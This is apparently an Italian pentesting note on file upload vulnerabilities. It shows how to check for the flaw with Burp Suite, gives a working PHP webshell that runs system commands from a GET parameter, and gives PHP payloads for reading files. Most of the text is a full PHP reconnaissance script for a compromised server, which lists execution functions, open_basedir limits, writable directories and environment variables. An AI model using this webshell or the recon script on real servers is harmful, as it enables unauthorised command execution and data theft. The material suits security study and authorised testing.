tags: File_Upload


Questa vulnerabilità si presenta quando è possibile caricare dei file all’interno del web server senza adeguate protezioni e che oltre a questo esegua pure il contenuto del file caricato come codice legittimo permettendo ai mal intenzionati di bucare il web server.

Un metodo efficace per verificare la presenza di questa vulnerabilità è tramite BurpSuite e il Port Forwarding perchè ti permette di vedere il percorso nel quale viene caricato il file e tramite il reapeter possiamo provare ad eseguire quella pagina come nel seguente esempio:

Nel primo screenshot trovo la richiesta fatta al server dove si mostra il percorso nel quale viene caricato il file, mentre nel secondo screenshot sono nella sezione reapeter e come puoi vedere ho cambiato la richiesta in GET /files/avatars/webshell.php?command=whoami HTTP/2 perchè nel file che ho caricato ho inserito la webshell:

<?php echo system($_GET['command']); ?>

che ci permette di eseguire comandi di sistema.

Possiamo anche utilizzare altri payload per guardare il contenuto dei file come per esempio:

 
<?php echo file_get_contents('/percorso/documento'); ?>
 
<?php readfile('/percorso/documento'); ?>
 

Oppure direttamente una reverse shell.

PHP info Server

Tramite questo script è possibile ricavare un sacco di informazioni sul server PHP, crea un report che ti permette di capire la versione, i proprietari, quali funzioni sono disabilitate, ecc.

<?php
// Non mostrare errori direttamente nel browser per non "sporcare" l'output,
// ma loggali se possibile (la configurazione del server potrebbe comunque mostrarli).
// In un contesto di pentesting, a volte è utile vedere gli errori, quindi puoi commentare le prossime due righe se preferisci.
// error_reporting(0);
// ini_set('display_errors', 0);
 
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Informazioni Server e Restrizioni PHP</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; background-color: #f4f4f4; color: #333; }
        h1, h2 { color: #333; border-bottom: 2px solid #777; padding-bottom: 5px;}
        .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        .info-block { margin-bottom: 20px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; background-color: #e9e9e9;}
        .info-block h2 { border-bottom: 1px solid #ccc; margin-top:0; }
        .highlight { color: #d9534f; font-weight: bold; }
        .good { color: #5cb85c; font-weight: bold; }
        table { width: 100%; border-collapse: collapse; }
        th, td { text-align: left; padding: 8px; border: 1px solid #ddd; }
        th { background-color: #f0f0f0; }
        pre { background-color: #eee; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; }
    </style>
</head>
<body>
    <div class="container">
        <h1>Diagnostica PHP e Restrizioni Server</h1>
 
        <div class="info-block">
            <h2>Informazioni Generali PHP e OS</h2>
            <table>
                <tr><th>Versione PHP</th><td><?php echo htmlspecialchars(PHP_VERSION); ?></td></tr>
                <tr><th>Sistema Operativo (uname -a)</th><td><?php echo htmlspecialchars(php_uname()); ?></td></tr>
                <tr><th>Utente corrente dello script</th><td><?php echo htmlspecialchars(get_current_user()); ?></td></tr>
                <tr><th>UID utente corrente</th><td><?php echo htmlspecialchars(getmyuid()); ?></td></tr>
                <tr><th>GID utente corrente</th><td><?php echo htmlspecialchars(getmygid()); ?></td></tr>
                <tr><th>Server API (SAPI)</th><td><?php echo htmlspecialchars(php_sapi_name()); ?></td></tr>
                <tr><th>Percorso `php.ini` caricato</th><td><?php echo htmlspecialchars(php_ini_loaded_file() ?: 'N/A'); ?></td></tr>
                <tr><th>Directory temporanea di sistema</th><td><?php echo htmlspecialchars(sys_get_temp_dir()); ?></td></tr>
            </table>
        </div>
 
        <div class="info-block">
            <h2>Funzioni Disabilitate (`disable_functions`)</h2>
            <?php
            $disabled_functions = ini_get('disable_functions');
            if ($disabled_functions) {
                echo "<p>Le seguenti funzioni sono <span class='highlight'>DISABILITATE</span>:</p>";
                echo "<pre>" . htmlspecialchars($disabled_functions) . "</pre>";
                echo "<p>Questo impatta significativamente la possibilità di eseguire comandi di sistema o reverse shell.</p>";
            } else {
                echo "<p class='good'>Nessuna funzione risulta esplicitamente disabilitata tramite `disable_functions` (potrebbero esserci altre restrizioni).</p>";
            }
            ?>
        </div>
 
        <div class="info-block">
            <h2>Restrizione `open_basedir`</h2>
            <?php
            $open_basedir = ini_get('open_basedir');
            if ($open_basedir) {
                echo "<p>Accesso ai file limitato ai seguenti percorsi (<span class='highlight'>open_basedir</span> attivo):</p>";
                echo "<pre>" . htmlspecialchars($open_basedir) . "</pre>";
                echo "<p>PHP può accedere solo ai file e alle directory specificate qui.</p>";
            } else {
                echo "<p class='good'>Nessuna restrizione `open_basedir` rilevata. PHP potrebbe avere accesso all'intero filesystem (limitato dai permessi dell'utente web).</p>";
            }
            ?>
        </div>
 
        <div class="info-block">
            <h2>Verifica Funzionalità Chiave</h2>
            <table>
                <thead>
                    <tr><th>Funzionalità</th><th>Stato</th><th>Note</th></tr>
                </thead>
                <tbody>
                    <?php
                    $functions_to_check = [
                        'system' => 'Esecuzione comandi OS',
                        'shell_exec' => 'Esecuzione comandi OS',
                        'exec' => 'Esecuzione comandi OS',
                        'passthru' => 'Esecuzione comandi OS',
                        'popen' => 'Apertura pipe a processi',
                        'proc_open' => 'Esecuzione processi con controllo I/O',
                        'pcntl_exec' => 'Esecuzione programmi (PCNTL)', // Spesso disabilitato
                        'fsockopen' => 'Connessioni socket (TCP/UDP)',
                        'pfsockopen' => 'Connessioni socket persistenti',
                        'socket_create' => 'Creazione socket (estensione sockets)',
                        'curl_init' => 'Inizializzazione cURL (estensione cURL)',
                        'file_get_contents' => 'Lettura file/URL',
                        'file_put_contents' => 'Scrittura file',
                        'eval' => 'Esecuzione codice PHP da stringa',
                        'assert' => 'Controllo asserzioni (può eseguire codice)',
                    ];
 
                    // Controlla se le funzioni sono effettivamente callable (non solo non in disable_functions)
                    // perché potrebbero essere state rimosse o non compilate
                    foreach ($functions_to_check as $func => $desc) {
                        $is_disabled = in_array($func, explode(',', $disabled_functions));
                        $is_callable = function_exists($func);
                        $status_text = '';
                        $status_class = '';
 
                        if ($is_disabled) {
                            $status_text = "DISABILITATA (in disable_functions)";
                            $status_class = 'highlight';
                        } elseif (!$is_callable) {
                            $status_text = "NON ESISTE/NON CARICABILE";
                            $status_class = 'highlight';
                        } else {
                            $status_text = "ABILITATA e Callable";
                            $status_class = 'good';
                        }
                        echo "<tr><td>" . htmlspecialchars($func) . "</td><td class='" . $status_class . "'>" . htmlspecialchars($status_text) . "</td><td>" . htmlspecialchars($desc) . "</td></tr>";
                    }
                    ?>
                </tbody>
            </table>
        </div>
        
        <div class="info-block">
            <h2>Directory Scrivibili Comuni</h2>
            <?php
            $writable_checks = [];
            $dirs_to_check = [
                'Propria directory dello script' => dirname(__FILE__),
                'Directory temporanea di sistema' => sys_get_temp_dir(),
                '/tmp' => '/tmp',
                '/var/tmp' => '/var/tmp',
                'uploads (se esiste relativa allo script)' => dirname(__FILE__) . '/uploads',
                './' => './' // Directory corrente
            ];
 
            echo "<table><thead><tr><th>Directory</th><th>Percorso Assoluto</th><th>Scrivibile?</th></tr></thead><tbody>";
            foreach ($dirs_to_check as $label => $dir) {
                $real_dir = realpath($dir); // Ottiene il percorso assoluto, se esiste
                if (!$real_dir) { // Se realpath fallisce (es. la dir non esiste) usa il percorso originale per il test
                    $real_dir = $dir;
                }
                $is_writable = @is_writable($real_dir); // Usa @ per sopprimere warning se il path non è valido per open_basedir
                $status_text = $is_writable ? "<span class='good'>Sì</span>" : "<span class='highlight'>No</span>";
                 // Tenta di scrivere un file temporaneo per una verifica più accurata (se la dir è scrivibile)
                if ($is_writable) {
                    $test_file = $real_dir . '/temp_writable_check_' . uniqid() . '.txt';
                    if (@file_put_contents($test_file, 'test') !== false) {
                        $status_text .= " (confermato)";
                        @unlink($test_file);
                    } else {
                        $status_text .= " (fallito test scrittura file)";
                    }
                }
                echo "<tr><td>" . htmlspecialchars($label) . "</td><td>" . htmlspecialchars($real_dir) . "</td><td>" . $status_text . "</td></tr>";
            }
            echo "</tbody></table>";
            echo "<p>Nota: La verifica di scrittura potrebbe essere limitata da `open_basedir`.</p>";
            ?>
        </div>
 
        <div class="info-block">
            <h2>Variabili d'ambiente ($_SERVER)</h2>
            <p>Queste variabili possono rivelare informazioni sulla configurazione del server, percorsi, ecc.</p>
            <pre><?php echo htmlspecialchars(print_r($_SERVER, true)); ?></pre>
        </div>
 
        <div class="info-block">
            <h2>Informazioni Complete (`phpinfo()`)</h2>
            <p>
                <a href="?phpinfo=1">Clicca qui per visualizzare l'output completo di phpinfo()</a>
                (Attenzione: l'output è molto lungo).
            </p>
            <?php
            if (isset($_GET['phpinfo']) && $_GET['phpinfo'] == '1') {
                echo "<hr><h2>Output phpinfo():</h2>";
                phpinfo();
            }
            ?>
        </div>
    </div>
</body>
</html>